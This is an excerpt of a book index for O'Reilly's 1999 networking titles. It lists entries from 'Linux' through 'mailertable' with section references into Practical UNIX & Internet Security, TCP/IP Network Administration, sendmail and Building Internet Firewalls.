symbolic, following (Web)
Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
lint program : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
LINUX operating system
Practical UNIX & Internet Security, 1.3. History of UNIX
Practical UNIX & Internet Security, 3.3. Entering Your Password
Practical UNIX & Internet Security, 23.1.2.1. What they found
TCP/IP Network Administration, UNIX Versions
TCP/IP Network Administration, 4.7. netconfig
TCP/IP Network Administration, 10.2. Running sendmail as a Daemon
ext2 filesystem : Practical UNIX & Internet Security, 25.2.2.6. Reserved space
ifconfig command on
TCP/IP Network Administration, 6.1.2. Checking the Interface with ifconfig
TCP/IP Network Administration, 6.1.5.3. Metric
kernel configuration : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
of PPP : TCP/IP Network Administration, 6.3. Installing PPP
random number generators : Practical UNIX & Internet Security, 23.7.4. Other random number generators
remounting filesystems on : TCP/IP Network Administration, 9.1.3.2. The vfstab and fstab files
sharing directories on : TCP/IP Network Administration, 9.1.2.2. The /etc/exports file
source directory : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
linux.mc macro control file : TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
linux.smtp.cf file
TCP/IP Network Administration, 10.4.2. General sendmail.cf Structure
TCP/IP Network Administration, 10.7. Modifying a sendmail.cf File
list-bounce alias : sendmail, 25.5.3. A list-bounced Alias
list-of-lists : TCP/IP Network Administration, 13.5. Mailing Lists
list precedence : sendmail, 14.4. Precedence
list syntax : (see mailing lists)
List:; form addresses
sendmail, 17.1.2.1. A rule to handle List:;
sendmail, 17.3. Rule Set 0
ListProcessor package : sendmail, 25.6.3. ListProcessor
lists, old-style address : sendmail, 13.2.7. Accept Old-Style Lists of Addresses
LISTSERV : TCP/IP Network Administration, 13.5. Mailing Lists
literals : TCP/IP Network Administration, 10.6.2. Transforming the Address
Live Script : Practical UNIX & Internet Security, 18.5.2. Trusting Your Software Vendor
Livingston routers : Building Internet Firewalls, 6.5. Conventions for Packet Filtering
*LK* keyword : TCP/IP Network Administration, 12.2.1. The Shadow Password File
load : (see performance)
local
aliases : sendmail, 24.1.2. Local Must Be Local
area networks (LANs)
Practical UNIX & Internet Security, 16.1. Networking
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
authentication (NIS+) : Practical UNIX & Internet Security, 19.5.4. Using NIS+
canonical name
sendmail, 21.2.1. Determine the Local Canonical Name
sendmail, 31.10. Alphabetized Reference
checking if host is : sendmail, 17.2.1. Is the Host Local?
delivery : sendmail, 30.8. Alphabetized F= Flags
delivery agent
sendmail, 6.3. The local Delivery Agent
sendmail, 30.2.1. Required Symbolic Names
sendmail, 30.8. Alphabetized F= Flags
domains, list of : sendmail, 32.5. Alphabetized Reference
gateways : (see gateways)
law enforcement : Practical UNIX & Internet Security, 26.2.1. The Local Option
newsgroups : Building Internet Firewalls, 2.4. Usenet News
recipients
sendmail, 3.2. Role in Local Delivery
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 29.6.3. Delivering to Local Recipient
server, local delivery on : sendmail, 19.6. Alphabetized m4 Macros
storage
Practical UNIX & Internet Security, 12.3.4. Protecting Local Storage
Practical UNIX & Internet Security, 12.3.4.5. Function keys
users
Practical UNIX & Internet Security, 15.4.1.2. USERFILE entries for local users
sendmail, 20.2.1. Accept Mail Only From Our Domain
sendmail, 31.10. Alphabetized Reference
UUCP handling : sendmail, 29.6.5. Handling UUCP Locally
LOCAL_CONFIG macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
LOCAL_NET_CONFIG macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
local_procmail feature : sendmail, 19.6. Alphabetized m4 Macros
LOCAL_RELAY macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
LOCAL_REPLAY macro (m4) : sendmail, 31.10. Alphabetized Reference
LOCAL_RULE macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
LOCAL_RULE_# macros (m4) : sendmail, 19.6. Alphabetized m4 Macros
LOCAL_RULESETS macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
LOCAL_USER macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
LOCALDOMAIN variable : TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
localhost
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 7.2. The Minimal Routing Table
TCP/IP Network Administration, 8.3.4. The named.local File
LOCALRES environmental variable : TCP/IP Network Administration, 11.6.4. dig: An Alternative to nslookup
lock daemon (lockd) : TCP/IP Network Administration, 9.1.1. NFS Daemons
lock file : sendmail, 23.2.3. The Lock File (obsolete as of V5.62): lf
lock program : Practical UNIX & Internet Security, 12.3.5.2. X screen savers
lock requests : (see files, lock requests, handling)
locked accounts : Practical UNIX & Internet Security, 3.3. Entering Your Password
locking files : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
log files and logging
Building Internet Firewalls, 5.8.1.4. Safeguard the system logs
Building Internet Firewalls, 8.11. syslog
Building Internet Firewalls, 13.5.4. Keeping Activity Logs
Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
Practical UNIX & Internet Security, 10. Auditing and Logging
Practical UNIX & Internet Security, 10.8. Managing Log Files
Practical UNIX & Internet Security, 11.5.3.5. System initialization files
Practical UNIX & Internet Security, 21.5. Special Considerations
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
sendmail, 13.2.6. The Default Logging Level
sendmail, 18.8. Alphabetized Reference
sendmail, 26.1. Logging with syslog
sendmail, 36.7. Alphabetized Reference
(see also syslog)
access_log
Practical UNIX & Internet Security, 10.3.5. access_log Log File
Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
across networks : Practical UNIX & Internet Security, 10.5.2.2. Logging across the network
aculog : Practical UNIX & Internet Security, 10.3.1. aculog File
agent_log file : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
archiving information : Practical UNIX & Internet Security, 7.4.2. Simple Archives
backups and
Building Internet Firewalls, 5.10.2. Do Secure Backups
Practical UNIX & Internet Security, 10.2.2. Accounting with BSD
breakins : Practical UNIX & Internet Security, 24.1.2. Rule #2: DOCUMENT
C2 audit : Practical UNIX & Internet Security, 10.1. The Basic Log Files
checklist for : Practical UNIX & Internet Security, A.1.1.9. Chapter 10: Auditing and Logging
creating with SOCKS : Building Internet Firewalls, 7.6. Using SOCKS for
critical messages
Practical UNIX & Internet Security, 10.5.3. syslog Messages
Practical UNIX & Internet Security, 10.5.3.1. Beware false log entries
documenting incidents : Building Internet Firewalls, 13.1.7. Document the Incident
downloaded files
Practical UNIX & Internet Security, 10.3.3. xferlog Log File
Practical UNIX & Internet Security, 10.3.5. access_log Log File
of dropped packets : Building Internet Firewalls, 6.9. Where to Do Packet Filtering
failed su attempts : Practical UNIX & Internet Security, 4.3.7. The Bad su Log
file format : Practical UNIX & Internet Security, 8.2. Monitoring File Format
files transferred by FTP : Practical UNIX & Internet Security, 10.3.3. xferlog Log File
to hardcopy device : Practical UNIX & Internet Security, 10.5.2.1. Logging to a printer
individual users
Practical UNIX & Internet Security, 10.4. Per-User Trails in the Filesystem
Practical UNIX & Internet Security, 10.4.3. Network Setup
lastlog : Practical UNIX & Internet Security, 10.1.1. lastlog File
managing : Practical UNIX & Internet Security, 10.8. Managing Log Files
manually logging
Practical UNIX & Internet Security, 10.7. Handwritten Logs
Practical UNIX & Internet Security, 10.7.2.2. Informational material
memory required for
Building Internet Firewalls, 12.1.3. Managing Your Disk Space
Building Internet Firewalls, 12.2.2. What Should You Watch For?
mistyped passwords : Practical UNIX & Internet Security, 10.5.3. syslog Messages
network services : Practical UNIX & Internet Security, 10.3.6. Logging Network Services
outgoing mail : Practical UNIX & Internet Security, 10.4.2. Mail
per-machine : Practical UNIX & Internet Security, 10.7.2. Per-Machine Logs
per-site : Practical UNIX & Internet Security, 10.7.1. Per-Site Logs
potentially criminal activity : Practical UNIX & Internet Security, 26.2.6. Other Tips
proxy services and : Building Internet Firewalls, 7.1.1.2. Proxy services are good at logging
refer_log file : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
of router actions : Building Internet Firewalls, 6.4.1. Logging Actions
sulog : (see sulog file)
Swatch program
Practical UNIX & Internet Security, 10.6. Swatch: A Log File Tool
Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
Practical UNIX & Internet Security, E.4.9. Swatch
syslog facility
Practical UNIX & Internet Security, 10.5. The UNIX System Log (syslog) Facility
Practical UNIX & Internet Security, 10.5.3.1. Beware false log entries
sendmail, 26.1.1. syslog(3)
system clock and : Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
tracking intruders with : Practical UNIX & Internet Security, 24.3. The Log Files: Discovering an Intruder's
trimlog program for : Building Internet Firewalls, B.6.5. trimlog
unexpectedly deleted or modified : Building Internet Firewalls, 12.2.3. The Good, the Bad, and the Ugly
/usr/adm/messages : Practical UNIX & Internet Security, 10.2.3. messages Log File
utmp and wtmp
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 10.1.3.1. Pruning the wtmp file
UUCP : Practical UNIX & Internet Security, 10.3.4. uucp Log Files
/var/adm/acct : Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
/var/adm/loginlog : Practical UNIX & Internet Security, 10.1.4. loginlog File
of web servers : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
what to watch for : Building Internet Firewalls, 12.2.2. What Should You Watch For?
what not to log : Practical UNIX & Internet Security, 10.5.3. syslog Messages
-X switch for : sendmail, 26.4. Log Transactions with -X
xferlog : Practical UNIX & Internet Security, 10.3.3. xferlog Log File
LOG macro : sendmail, 18.8. Alphabetized Reference
LOG_MAIL : (see facility, mail-handling program)
LOG_PID : sendmail, 26.1.1. syslog(3)
logdaemon package : Practical UNIX & Internet Security, 17.3.18.5. Searching for .rhosts files
logger command : Practical UNIX & Internet Security, 10.5.3. syslog Messages
logging in
Practical UNIX & Internet Security, C.5. Starting Up UNIX and Logging In
Practical UNIX & Internet Security, C.5.3. Running the User's Shell
FTP access without : Practical UNIX & Internet Security, 17.3.2.7. Allowing only FTP access
Kerberos system : Practical UNIX & Internet Security, 19.6.1.1. Initial login
last program
Practical UNIX & Internet Security, 10.1.3. last Program
Practical UNIX & Internet Security, 10.1.3.1. Pruning the wtmp file
lastlog file : Practical UNIX & Internet Security, 10.1.1. lastlog File
passwords : Practical UNIX & Internet Security, 3.3. Entering Your Password
preventing
Practical UNIX & Internet Security, 8.4. Managing Dormant Accounts
Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
remotely : TCP/IP Network Administration, 1.7. Application Layer
restricting : Practical UNIX & Internet Security, 8.3. Restricting Logins
with Secure RPC : Practical UNIX & Internet Security, 19.3.3. Using Secure RPC
startup file attacks
Practical UNIX & Internet Security, 11.5.2. Start-up File Attacks
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
logging out with Secure RPC[logging out:Secure RPC] : Practical UNIX & Internet Security, 19.3.3. Using Secure RPC
loghost : TCP/IP Network Administration, 3.2. The Host Table
logic bombs
Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Practical UNIX & Internet Security, 11.1.3. Logic Bombs
Practical UNIX & Internet Security, 27.2.2. Viruses on the Distribution Disk
login activity, checking : TCP/IP Network Administration, 12.4.2.2. Checking login activity
.login file
Practical UNIX & Internet Security, 8.5.1. Secure Terminals
Practical UNIX & Internet Security, 11.5.2.1. .login, .profile, /etc/profile
Practical UNIX & Internet Security, 24.4.1.6. Changes to startup files
login program
Practical UNIX & Internet Security, 8.6. The UNIX Encrypted Password System
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
Practical UNIX & Internet Security, 19.5.4. Using NIS+
Practical UNIX & Internet Security, 26.2.6. Other Tips
Practical UNIX & Internet Security, 27.1.2. Trusting Trust
logindevperm file : Practical UNIX & Internet Security, 17.3.21.1. /etc/fbtab and /etc/logindevperm
loginlog file : Practical UNIX & Internet Security, 10.1.4. loginlog File
logins
authentication : Practical UNIX & Internet Security, 17.3.5. TACACS (UDP Port 49)
FTP : Practical UNIX & Internet Security, 17.3.2. (FTP) File Transfer Protocol (TCP Ports 20 and 21)
remote : Building Internet Firewalls, 2.3. Remote Terminal Access and Command
successful, from unexpected site : Building Internet Firewalls, 12.2.3. The Good, the Bad, and the Ugly
UUCP, additional : Practical UNIX & Internet Security, 15.3.1. Assigning Additional UUCP Logins
logins command
Practical UNIX & Internet Security, 8.1.1. Accounts Without Passwords
Practical UNIX & Internet Security, 8.2. Monitoring File Format
LogLevel (L) option
sendmail, 13.2.6. The Default Logging Level
sendmail, 22.8.3.3. The LogLevel option
sendmail, 26.1.1. syslog(3)
sendmail, 34.8. Alphabetized Reference
LogLevel variable for : sendmail, 20.1.2. Global Variables
LOGNAME= command
Practical UNIX & Internet Security, 15.5.1.3. A Sample Permissions file
Practical UNIX & Internet Security, 15.5.2. Permissions Commands
.logout file : Practical UNIX & Internet Security, 19.3.3. Using Secure RPC
logs/logging
Building Internet Firewalls, 5.8.1.4. Safeguard the system logs
Building Internet Firewalls, 8.11. syslog
Building Internet Firewalls, 13.5.4. Keeping Activity Logs
Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
Practical UNIX & Internet Security, 10. Auditing and Logging
Practical UNIX & Internet Security, 10.8. Managing Log Files
Practical UNIX & Internet Security, 11.5.3.5. System initialization files
Practical UNIX & Internet Security, 21.5. Special Considerations
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
sendmail, 13.2.6. The Default Logging Level
sendmail, 18.8. Alphabetized Reference
sendmail, 26.1. Logging with syslog
sendmail, 36.7. Alphabetized Reference
(see also syslog)
access_log
Practical UNIX & Internet Security, 10.3.5. access_log Log File
Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
across networks : Practical UNIX & Internet Security, 10.5.2.2. Logging across the network
aculog : Practical UNIX & Internet Security, 10.3.1. aculog File
agent_log file : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
archiving information : Practical UNIX & Internet Security, 7.4.2. Simple Archives
backups and
Building Internet Firewalls, 5.10.2. Do Secure Backups
Practical UNIX & Internet Security, 10.2.2. Accounting with BSD
breakins : Practical UNIX & Internet Security, 24.1.2. Rule #2: DOCUMENT
C2 audit : Practical UNIX & Internet Security, 10.1. The Basic Log Files
checklist for : Practical UNIX & Internet Security, A.1.1.9. Chapter 10: Auditing and Logging
creating with SOCKS : Building Internet Firewalls, 7.6. Using SOCKS for
critical messages
Practical UNIX & Internet Security, 10.5.3. syslog Messages
Practical UNIX & Internet Security, 10.5.3.1. Beware false log entries
documenting incidents : Building Internet Firewalls, 13.1.7. Document the Incident
downloaded files
Practical UNIX & Internet Security, 10.3.3. xferlog Log File
Practical UNIX & Internet Security, 10.3.5. access_log Log File
of dropped packets : Building Internet Firewalls, 6.9. Where to Do Packet Filtering
failed su attempts : Practical UNIX & Internet Security, 4.3.7. The Bad su Log
file format : Practical UNIX & Internet Security, 8.2. Monitoring File Format
files transferred by FTP : Practical UNIX & Internet Security, 10.3.3. xferlog Log File
to hardcopy device : Practical UNIX & Internet Security, 10.5.2.1. Logging to a printer
individual users
Practical UNIX & Internet Security, 10.4. Per-User Trails in the Filesystem
Practical UNIX & Internet Security, 10.4.3. Network Setup
lastlog : Practical UNIX & Internet Security, 10.1.1. lastlog File
managing : Practical UNIX & Internet Security, 10.8. Managing Log Files
manually logging
Practical UNIX & Internet Security, 10.7. Handwritten Logs
Practical UNIX & Internet Security, 10.7.2.2. Informational material
memory required for
Building Internet Firewalls, 12.1.3. Managing Your Disk Space
Building Internet Firewalls, 12.2.2. What Should You Watch For?
mistyped passwords : Practical UNIX & Internet Security, 10.5.3. syslog Messages
network services : Practical UNIX & Internet Security, 10.3.6. Logging Network Services
outgoing mail : Practical UNIX & Internet Security, 10.4.2. Mail
per-machine : Practical UNIX & Internet Security, 10.7.2. Per-Machine Logs
per-site : Practical UNIX & Internet Security, 10.7.1. Per-Site Logs
potentially criminal activity : Practical UNIX & Internet Security, 26.2.6. Other Tips
proxy services and : Building Internet Firewalls, 7.1.1.2. Proxy services are good at logging
refer_log file : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
of router actions : Building Internet Firewalls, 6.4.1. Logging Actions
sulog : (see sulog file)
Swatch program
Practical UNIX & Internet Security, 10.6. Swatch: A Log File Tool
Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
Practical UNIX & Internet Security, E.4.9. Swatch
syslog facility
Practical UNIX & Internet Security, 10.5. The UNIX System Log (syslog) Facility
Practical UNIX & Internet Security, 10.5.3.1. Beware false log entries
sendmail, 26.1.1. syslog(3)
system clock and : Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
tracking intruders with : Practical UNIX & Internet Security, 24.3. The Log Files: Discovering an Intruder's
trimlog program for : Building Internet Firewalls, B.6.5. trimlog
unexpectedly deleted or modified : Building Internet Firewalls, 12.2.3. The Good, the Bad, and the Ugly
/usr/adm/messages : Practical UNIX & Internet Security, 10.2.3. messages Log File
utmp and wtmp
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 10.1.3.1. Pruning the wtmp file
UUCP : Practical UNIX & Internet Security, 10.3.4. uucp Log Files
/var/adm/acct : Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
/var/adm/loginlog : Practical UNIX & Internet Security, 10.1.4. loginlog File
of web servers : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
what to watch for : Building Internet Firewalls, 12.2.2. What Should You Watch For?
what not to log : Practical UNIX & Internet Security, 10.5.3. syslog Messages
-X switch for : sendmail, 26.4. Log Transactions with -X
xferlog : Practical UNIX & Internet Security, 10.3.3. xferlog Log File
long distance service
Practical UNIX & Internet Security, 14.5.4. Physical Protection of Modems
Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
looking up database keys : sendmail, 20.3. Alphabetized V8.8 Subroutines
lookups, DNS
Building Internet Firewalls, 8.10.1. Packet Filtering Characteristics of
Building Internet Firewalls, 8.10.4.2. Mismatched data between the hostname
loopback
address
Building Internet Firewalls, C.9. The IP Address
TCP/IP Network Administration, 2.2.2.1. Final notes on IP addresses
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 8.3.4. The named.local File
devices : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
domain : TCP/IP Network Administration, 8.3.1.1. Configuring a caching-only nameserver
files : TCP/IP Network Administration, 8.1.1. BIND Configurations
interface
TCP/IP Network Administration, 4.7. netconfig
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
TCP/IP Network Administration, 6.1.5.6. Putting ifconfig in the startup files
route
TCP/IP Network Administration, 2.5. The Routing Table
TCP/IP Network Administration, 7.2. The Minimal Routing Table
TCP/IP Network Administration, 12.7.2. Routing control
loops
forwarding : sendmail, 25.7.2. Forwarding Loops
in HELO command : sendmail, 30.8. Alphabetized F= Flags
in rule sets : sendmail, 28.6.2. Rewrite Once Prefix: $:
losses, cost of preventing
Practical UNIX & Internet Security, 2.3. Cost-Benefit Analysis
Practical UNIX & Internet Security, 2.3.4. Convincing Management
LOTUS_NOTES_HACK macro : sendmail, 18.8. Alphabetized Reference
lowest-cost path : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
lp (user) : Practical UNIX & Internet Security, 4.1. Users and Groups
lp directory : TCP/IP Network Administration, 9.2.2. Solaris Line Printer Service
lp printing system : Building Internet Firewalls, 2.14. Printing Systems
configuring : Building Internet Firewalls, 8.17. Printing Protocols (lpr and lp)
lpd (Line Printer Daemon)
Practical UNIX & Internet Security, 17.3.18.6. /etc/hosts.lpd file
TCP/IP Network Administration, 9.2. Line Printer Daemon
commands, listed : TCP/IP Network Administration, 9.2.1.2. Using LPD
lpr printing system
Building Internet Firewalls, 2.14. Printing Systems
TCP/IP Network Administration, 3.7.2. Print Services
TCP/IP Network Administration, 9.2.1.2. Using LPD
configuring : Building Internet Firewalls, 8.17. Printing Protocols (lpr and lp)
lpr server, IP address of : TCP/IP Network Administration, 9.4. A BOOTP Server
lpsystem command : TCP/IP Network Administration, 9.2.2. Solaris Line Printer Service
lrand48 function : Practical UNIX & Internet Security, 23.7.3. drand48 ( ), lrand48 ( ), and mrand48 ( )
ls command
Practical UNIX & Internet Security, 5.1.4. Using the ls Command
Practical UNIX & Internet Security, 5.1.5. File Times
Practical UNIX & Internet Security, 9.2.2. Checklists and Metadata
TCP/IP Network Administration, 8.4. Using nslookup
TCP/IP Network Administration, 11.6. Checking Name Service
-c option
Practical UNIX & Internet Security, 5.1.5. File Times
Practical UNIX & Internet Security, 24.4.1.6. Changes to startup files
-d option : Practical UNIX & Internet Security, 9.2.2.1. Simple listing
-e option : Practical UNIX & Internet Security, 5.2.5.1. AIX Access Control Lists
-F option : Practical UNIX & Internet Security, 5.1.4. Using the ls Command
-g option : Practical UNIX & Internet Security, 5.1.4. Using the ls Command
-H option
Practical UNIX & Internet Security, 5.9.2. Context-Dependent Files
Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
-i option : Practical UNIX & Internet Security, 9.2.2.1. Simple listing
-l option
Practical UNIX & Internet Security, 5.1.4. Using the ls Command
Practical UNIX & Internet Security, 5.2.5.1. AIX Access Control Lists
Practical UNIX & Internet Security, 5.5.1. SUID, SGID, and Sticky Bits
Practical UNIX & Internet Security, 24.4.1.6. Changes to startup files
-q option : Practical UNIX & Internet Security, 5.4. Using Directory Permissions
-u option : Practical UNIX & Internet Security, 5.1.5. File Times
lsacl command : Practical UNIX & Internet Security, 5.2.5.2. HP-UX access control lists
lsof program : Practical UNIX & Internet Security, 25.2.2.7. Hidden space
lstat function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
Lucifer algorithm
Practical UNIX & Internet Security, 6.4.4. DES
Practical UNIX & Internet Security, 6.4.4.3. DES strength
LUCIFER cipher : Practical UNIX & Internet Security, 6.4.4. DES
LUSER-RELAY macro (m4)
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 31.10. Alphabetized Reference

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

m class
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 32.5. Alphabetized Reference
M configuration command
sendmail, 5.3.1. Mail Delivery Agents
sendmail, 6.2. Define a Mail Delivery Agent
sendmail, 6.3. The local Delivery Agent
sendmail, 30.1. Configuration File Syntax
-m database switch : sendmail, 33.3.4.5. -m suppress replacement on match (V8.1 and above)
m flag : sendmail, 30.8. Alphabetized F= Flags
M flag
sendmail, 14.2.3. The Message-ID: Header
sendmail, 30.8. Alphabetized F= Flags
M line (qf file)
sendmail, 23.4.1. Printing the Queue in Verbose Mode
sendmail, 23.9. The qf File Internals
M lines in sendmail.cf : sendmail, 3.1. Role in the Filesystem
$m macro
sendmail, 7.3.1. The hostname
sendmail, 12.1.7. Adding the Domain
sendmail, 31.10. Alphabetized Reference
$M macro : sendmail, 31.10. Alphabetized Reference
m option : (see MeToo (m) option)
M option
sendmail, 31.2. Command-Line Definitions
sendmail, 34.1.3. Appropriateness of Options
sendmail, 34.8. Alphabetized Reference
M rule-testing command : sendmail, 38.4.2. Show Delivery Agents with =M
-m switch (sendmail)
sendmail, 18.3.2. The makesendmail Script
sendmail, 36.7. Alphabetized Reference
-M switch (sendmail)
sendmail, 31.2. Command-Line Definitions
sendmail, 36.7. Alphabetized Reference
m4 macros
TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
TCP/IP Network Administration, E.3. m4 sendmail Macros
m4 preprocessor
sendmail, 16.3. Run m4
sendmail, 19. V8 m4 Configuration
class macros and : sendmail, 32.3. Class with m4
comments in files : sendmail, 19.5. Pitfalls
configuration version : sendmail, 31.10. Alphabetized Reference
database maps and : sendmail, 33.6. Database Maps and m4
delivery agent configuration : sendmail, 30.3. m4 Configuration Syntax
diversions : sendmail, 19.1.4. m4 diversions
macros and : sendmail, 31.8. Macros with the m4 Technique
rule sets and : sendmail, 29.2. Rule Sets and m4
sendmail options and : sendmail, 34.3. Configuring with V8 m4 Options
M= equate : sendmail, 30.4. The Equates
MAC (Mandatory Access Controls) : Practical UNIX & Internet Security, 4.1.3. Groups and Group Identifiers (GIDs)
MACH operating system : Practical UNIX & Internet Security, 1.3. History of UNIX
machine
auditing : (see auditing)
backing up : Building Internet Firewalls, 13.5.1. Backing Up Your Filesystems
choosing : Building Internet Firewalls, 5.3. Choosing a Machine
configuring : Building Internet Firewalls, 5.8.4. Reconfiguring for Production
connecting : Building Internet Firewalls, 5.8.6. Connecting the Machine
disconnecting or shutting down : Building Internet Firewalls, 13.4.3. Planning for Disconnecting or
hardware : (see hardware)
hijacking : Building Internet Firewalls, 10.1.1. Hijacking
name : Practical UNIX & Internet Security, 16.2.3. Hostnames
physical location of : Building Internet Firewalls, 5.4. Choosing a Physical Location
securing : Building Internet Firewalls, 5.8.1. Securing the Machine
software : (see software)
speed of : Building Internet Firewalls, 5.3.2. How Fast a Machine?
MACHINE= command
Practical UNIX & Internet Security, 15.5.1.2. Name-value pairs
Practical UNIX & Internet Security, 15.5.2. Permissions Commands
macid() : sendmail, 20.3. Alphabetized V8.8 Subroutines
Macintosh
Practical UNIX & Internet Security, 18.2. Running a Secure Server
sendmail, 3.3.3. Other Protocols
macro conditionals
sendmail, 14.1.3. Testing So Far
sendmail, 31.6. Macro Conditionals: $?, $|, and $.
TCP/IP Network Administration, 10.5.2.1. Conditionals
macro virus : (see viruses)
macros
sendmail, 5.3.2. Macros
sendmail, 7. Macros
sendmail, 31.9. Pitfalls
class macros
sendmail, 5.3.5. Class Macros
sendmail, 12. Class
sendmail, 32. Class Macros
classes and : sendmail, 12.1.1.1. A caveat
database macros : sendmail, 33. Database Macros
declaring
sendmail, 7.2. Defining Macros
sendmail, 31.2. Command-Line Definitions
defining
sendmail, 19.4.2. Define Macros
sendmail, 20.3. Alphabetized V8.8 Subroutines
sendmail, 36.7. Alphabetized Reference
sendmail, 38.2.1. Define a Macro with .D
with M option : sendmail, 34.8. Alphabetized Reference
dumping : sendmail, 38.3. Dump a Macro
expanding : TCP/IP Network Administration, 10.6.2. Transforming the Address
fetching value of : sendmail, 20.3. Alphabetized V8.8 Subroutines
file class macros : sendmail, 5.3.6. File Class Macros
for compiling sendmail : sendmail, 18.8. Alphabetized Reference
in header fields : sendmail, 35.3.1. Macros in the Header Field
initializing : sendmail, 36.4.2.2. Initialize macros
m4 preprocessor : sendmail, 19. V8 m4 Configuration
naming
sendmail, 5.3.2. Macros
sendmail, 7.2. Defining Macros
sendmail, 31.4. Macro Names
converting names to integers : sendmail, 20.3. Alphabetized V8.8 Subroutines
predefined
sendmail, 7.3. Predefined Macros
sendmail, 31.1. Preassigned Macros
required : sendmail, 31.3.1. Required Macros (V8.6 and earlier)
restoring macro values : sendmail, 23.9. The qf File Internals
in rule set names : sendmail, 29.1.4. Macros in Rule-Set Names
in rules : sendmail, 28.1.1. Macros in Rules
for time and date : sendmail, 31.7.2. Macros and the Date
macvalue() : sendmail, 20.3. Alphabetized V8.8 Subroutines
MAEs (Metropolitan Area Exchanges) : TCP/IP Network Administration, 1.1. TCP/IP and the Internet
magic cookies : Practical UNIX & Internet Security, 17.3.21.4. Using Xauthority magic cookies
magic number
Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
TCP/IP Network Administration, A.2. The PPP Daemon
mail
(see email)
(see sendmail)
MAIL command (SMTP)
sendmail, 29.10.1. The check_mail Rule Set
sendmail, 34.8. Alphabetized Reference
Mail Exchanger records : (see MX records)
"Mail-From:" header line : sendmail, 35.10. Alphabetized Reference
mail hubs : (see hubs)
/mail/imap.tar.Z file : TCP/IP Network Administration, 9.7.2. IMAP Server
mail program
Practical UNIX & Internet Security, 15.1.3. mail Command
sendmail, 3.2.1. Delivery to a Mailbox
mail11 program : sendmail, 3.3.3. Other Protocols
Mail_Aliases table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
MAIL_HUB macro (m4)
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 31.10. Alphabetized Reference
mailbox file : sendmail, 3.2.1. Delivery to a Mailbox
mailbox servers : TCP/IP Network Administration, 9.7. Mail Servers
synchronizing : TCP/IP Network Administration, 9.7.2. IMAP Server
mailer
definition fields : TCP/IP Network Administration, 10.5.8. Defining Mailers
common : TCP/IP Network Administration, 10.5.8.1. Some common mailer definitions
local : TCP/IP Network Administration, 10.5.8. Defining Mailers
MAILER command (UUCP) : sendmail, 31.10. Alphabetized Reference
MAILER() (m4)
sendmail, 19.3.2. MAILER()
sendmail, 30.3. m4 Configuration Syntax
MAILER-DAEMON alias
sendmail, 3.1.1. The Aliases File
sendmail, 24.4.2. The MAILER-DAEMON Alias
sendmail, 31.10. Alphabetized Reference
(see also $n macro)
MAILER source file (in sendmail)
TCP/IP Network Administration, E.3. m4 sendmail Macros
TCP/IP Network Administration, E.3.5. MAILER
values available, listed : TCP/IP Network Administration, E.3.5. MAILER
mailer= equate (syslog output) : sendmail, 26.1.3.4. mailer= the delivery agent used
MAILER_DEFINITIONS macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
mailertable database
sendmail, 19.6. Alphabetized m4 Macros
